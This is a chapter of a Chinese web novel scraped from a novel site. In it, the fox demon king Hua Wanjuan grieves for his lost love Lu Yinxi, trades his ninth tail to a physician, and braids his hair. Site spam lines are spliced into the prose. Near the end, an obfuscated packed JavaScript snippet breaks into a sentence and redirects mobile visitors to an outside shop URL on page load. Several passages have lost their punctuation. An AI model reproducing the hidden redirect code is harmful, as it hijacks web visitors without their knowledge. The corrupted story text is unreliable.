第8章 万一,花晚倦一直在等一个万一
作品:《模板绑错后,男主不攻略我就会死》 言语苍白,但也的确说不出什么其他的话语,鹿饮溪生怕自己再被瞧出来什么,在说完这句话以后便行了个礼,退出房间。
“……
花晚倦的目光一直追寻着那道白色的背影,直到对方踏出房门,而自己的视线也彻彻底底被眼前的一道阴影所覆盖。
他是想说些什么的。
只是,说不出来。
为什么会想要一直看着她?只要调转一点点目光,心脏就会抽痛。
……为什么呢。
在心中质问自己,却没办法得到回答。
要等的人早就离开了,等到麻木也等不到那句诺言实现的时候。
早在许久之前,希望就一次次落空。
但每到这种时候,花晚倦还是忍不住会幻想,会期待。
……万一呢?
万一、万一在街道上回眸一瞥,让自己感到熟悉的路人,是她回来了呢?
万一曾经进入秘境时嗅到的那一股微妙香气,不是什么秘境稀有的花开了,是她回来了呢?
万一……之前,一次次让自己感到恍然的所有意外都不是意外,是她回来了呢?
万一。
这个词汇真让人讨厌。
花晚倦只想要必然。
只是……好难啊,所有的所有,都好难。
每一次,花晚倦都会在心里暗自期待。
万一呢。
鹿饮溪真的回来了呢?
万一,这一次,这名药王谷的弟子,那有些相像的名字与声音都不是巧合,是鹿饮溪回来了呢。
万一……万一。
花晚倦抿唇,垂下眼眸,有些干枯和毛躁的粉色发丝顺着脸庞滑下,遮挡住眼角的泪痕。
“失礼……
声音干涩,带着点勉强,花晚倦侧眸:“惜佟长老,关于诊金,你有何要求都可提出。
“我只是有些好奇,先前在何时,帮过你的爱徒。
惜佟眯了眯眼睛,冷哼一声:“……哼。
“妖王,你要知道,多少人耗尽家财也换不来我出手医治。
花晚倦不卑不亢,哪怕此时额角的发丝被汗水给浸透,也没有再继续露出太
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
过虚弱的姿态,勉强直了直身子,整理仪容,面色平静。
“青丘之内,前辈有何想要的家财,随意提出就……
“我要九尾狐的第九尾。
没待花晚倦把话说完,冷淡的声音便直接出口,将他的话语打断。
花晚倦错愕抬眼,对上那双鲜红色的眸子。
那人面上挂着笑。
“妖王可否割爱?
“……花晚倦沉默片刻,“我的九尾,确实还在……不知前辈要它作甚?
惜佟慢条斯理了理自己红白相间的衣袖。
“古书有记,此物乃是一味上好的药引,我徒儿恰好有些隐疾,我要此物拿来研究新药方,有何不可?
隐疾?
……那人,有隐疾?
花晚倦目光没什么焦距地凝视着光滑整洁的地面。
他断尾,只是为了救回鹿饮溪。
只是,他修炼修得太慢了。
拼尽全力、呕心沥血,脑海里再也没有了任何的念头,只有修炼。
花晚倦的天赋还不够。
九尾心法第九层,大乘期大圆满,他还是花了许久。
等到断尾那天,早就为时已晚了。
花晚倦可能早就知道了结果。
他就只是,还相信着那个词而已。
万一……
万一呢?
花晚倦一直在等一个万一。
可惜,每次都只是妄想。
一切的一切都只能责怪自己没用,一切的一切都是因为自己还不够强大。
若是修为在鹿饮溪还能笑着的时候就是大乘期,早点发现她生了病,若是……若是早就修炼到第九层,早就可以拿出第九尾这样让药王谷妥协的办法……是不是一切都会不一样了呢?
“左右……我原本想要让它发挥出的作用,再也不可能发生。
花晚倦抬手,指了指在一旁梳妆台上随意放置的一个木盒。
这木盒上面积满了灰尘,像是已经许久没有人碰过了,除了妖王,也没有人敢碰。
它被随意放置在那里,就仿佛什么无关紧要的东西一般。
花晚倦神色平淡。
你的朋友正在书荒,快去帮帮他吧
“……前辈想要,就拿去吧。
似乎是完全没有想到这人会答应的那么痛快,一七眯了眯眼睛,神色晦暗,倒也没再多说什么,伸出手指一勾,灵力裹挟着风刮走那静置在梳妆台上、许久未被人动过的木盒。
系统扫描没有差错,确实是当年花晚倦在鹿饮溪离开以后断尾割下的那一条九尾狐第九尾。
此物在系统商城里都没有售卖,的的确确拥有着极大的功效,不管是留着研究一些丹药售卖,或者是做些其他的事,都很赚。
因为系统的记忆里有着这四个世界中所有写到的设定,他只需要用用心思,就能成功学习到这四个世界中所有主要的法术和知识。
医术,是一七用心钻研的一项。
不管是治好蛊毒、目盲,又或者如今修复经脉,一七都能够做到。
“既然如此,诊金我便收下了,明日可以修补好你的经脉,至于丹田,你自己吃药。
“明日的治疗结束以后,我和徒弟就会离开这里。
……明日就离开?
花晚倦垂下眼眸,心头对于那早就派不起任何作用的尾巴没什么留恋,可却有些奇怪地在意起这个时间,面上表情未变。
“前辈是否有什么急事?若是没有,我青丘定要大设宴席,好好招待二位一番。
惜佟声音冷硬,连原因都懒得解释,只是冷冷吐出两个字。
“不必。
事到如今,也没什么聊下去的必要了。
闻言,花晚倦揽了揽自己身上单薄的衬衣,露出虚弱的姿态,下逐客令。
“……好,若是再没有什么其他的事情,前辈便先回去好好歇息,今日麻烦了。
这位名扬修仙界的前辈貌似也不太想跟他继续说话,甚至在花晚倦还未曾开口之时就转过身,径直走出房门。
望着对方走到院子里,和等待多时的弟子见面,被长老引着离开,花晚倦伸手抚上小腹,企图用自己掌心残留的温度缓解痛楚。
今日自己所遭受的“治疗,花晚倦能够看出来,超过了一定的限度。
疼。
没有任何意义上的留手,也没有任何对于病人的怜悯。
所有在自己体内肆意乱窜的灵气托举经脉一寸一寸拼好,动作机械,甚至还
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
带着几分粗暴。
……他不知道惜佟这位在修仙界扬名已然几千年的大前辈给其他人医治时是怎样的。
但说实在话今日的这番治疗只是为了效率二字而已。
花晚倦的经脉与丹田的确是碎的很彻底。
……但吃下辅助丹药又或者长期暂缓一段时间以后再进行重塑很明显治疗的效果会更好不会留下任何后遗症。
如今经脉的确是好了一半没有错可只是略微吸收妖气便会传来尖锐的刺痛。
不为真正的治好他。
只是为了效率这位所谓的惜佟长老才捏着鼻子勉勉强强为他治疗选择了最快的方式将他缝补到破破烂烂。
花晚倦的确是能活下去。
……但哪怕这样也绝对大不如前后遗症会格外严重。
他并不相信连自己都知道的事情这位天下医术第一的长老会想不到。
是故意的。
或者也谈不上故意。
惜佟并不在意自己这个所谓的妖王貌似也并不是真心实意想要来为自己看诊的。
……只是看在他那位爱徒的份上。
他不喜欢花晚倦好像也不喜欢青丘。
既然不是真心实意看诊那自然也就没有必要做到最好。
在最快的时间里勉强治疗到能看得过去估计就是这位惜佟长老的真实想法了。
毕竟虽然医术不如药王谷
病来如山倒病走如抽丝。
治疗重病之人长则十几年短则几个月。
医者疗伤自然是要做到最好治到最后不敢有半分懈怠。
对我来讲便只有两天么。
……两天。
抬手看着自己苍白瘦弱到皮肉薄薄贴着骨头的手臂花晚倦出了些神。
虽然还有着其他更好的解释虽然可以将这一切都理解为惜佟长老有着急事又或者说是什么其他不知道的原因。
但出于某些特有的预感花晚倦总觉得……
……他是不是不想让他的徒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392318|183286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
弟
听说看这本书的人都是很幸运的,分享后你的运气会更棒
看见自己?
在重塑经脉阶段感受到的敌意,也并不是错觉。
……奇怪。
好奇怪。
心脏又一次开始奇怪的跳动。
一收、一缩,钝痛。
脑海里好像有什么在尖锐叫嚷着,有什么预感仿佛要冲破千年以来身上禁锢的枷锁。
轻抚上手臂,又冷又麻。
……万一呢。
花晚倦一直浑浑噩噩的活着,存活下去的希望在时间缓慢的流逝中被逐渐消磨,直到如今,彻底消失。
他不想活了。
他都不想活了,自然也不会在意惜佟为自己疗伤时的敷衍,之后会留下的后遗症。
疼又如何,死又怎样。
都没有意义。
花晚倦存活于这个世界上的意义,早就在多年以前,先一步离去了。
但是……但是……
缓慢用许久未曾用过的木梳一点一点把干枯毛躁的粉发梳开,他面色恍惚,窗外暗沉的光透过窗沿,落到那张艳丽斐糜的脸上。
眼下的两颗黑痣一如从前。
万一呢。
万一这次有所不同呢?
万一这次不再是错觉,万一这次,真的是命运最后的怜悯,让他在离开以前……遇见了爱人?
阳光照映到脸上,却半点不暖和。
有点凉。
指甲在脸上划出红痕,花晚倦擦掉泪水。
“惜印。”
“……饮溪。”
他轻声。
“鹿饮溪。”
“我想你……我想你了。”
上天已经捉弄了他千次、百次……无数次在悲苦中沉浮。
花晚倦经不起这最后的一次捉弄,也经不起这最后希望的破灭。
“我找不到你……我就会来陪你的。”
他面色平静,又或者说,麻木。
苍白的指尖从粉发里穿梭而过,有部分发尾落下了床,在床脚堆叠。
花晚倦用了些力气,走下床沿,赤足踏在方才被三长老用清洁咒简单清理过的地板上,走至梳妆台前,盯着铜镜里那张疲倦的脸,甚至会觉得陌生。
听说看这本书的人都是很幸运的,分享后你的运气会更棒
看了许久,他抬起手,指尖落在脸颊上,从前这里是有肉的,现在只剩一层薄薄的皮贴着骨头,花晚倦摸了摸,又放下。
……不好看。
比自己十九岁的时候,要差得远。
原本及腰的长发已经长长许多,垂到大腿根,他一点一点梳理开这抹粉色,动作带着迟疑与生疏。
拿起梳子,手指缠进发丝里,动作很慢,分出一股,又分出一股。
从前看过很多次,三股,左边压中间,右边压中间,再左边,再右边。
他记得,可手不听使唤,也不争气,只是丹田痛了一下,发丝就从指间滑走,彻底散了。
花晚倦停了一瞬,又重新来过。
经脉在疼,丹田也在疼,浑身都在疼。
他低着头,一缕一缕地梳,一缕一缕地编。
编好了。
还看得过去。
花晚倦对着铜镜勾起一点勉强的笑意,趁着阳光,和模糊的记忆对比。
……一样么?
会和自己十九岁,刚遇见鹿饮溪的时候,一样么?
还缺了什么。
恍惚中,花晚倦这样想。
缺了一朵花。
一朵某人兴许只是随手插到自己耳畔的花。
人域最常见的野花而已,哪怕烂在泥里也不会有人瞧上一眼。
可花晚倦再也找不着了。
……这个世界,貌似是有转世的。
有鬼域,亦有轮回。
有人不信,说死去以后只有成为鬼修或消失两种下场,鬼域万年前才出现,轮回荒谬。
花晚倦只敢选择相信。
花晚倦去鬼域找过,可哪怕祈求也无法违背规则,鬼尊拒绝招魂,也说了对鹿饮溪的灵魂没有印象。
他不知道鹿饮溪是不是真的会转世,于是只能抱着希望祈祷寻找,抱着希望漫无目的等待。
听闻,只要见到前世印象深刻的人事,就会激起前世记忆。
花晚倦近乎神经质,对着铜镜,在自己的脸上摸了又摸。
……像吗?

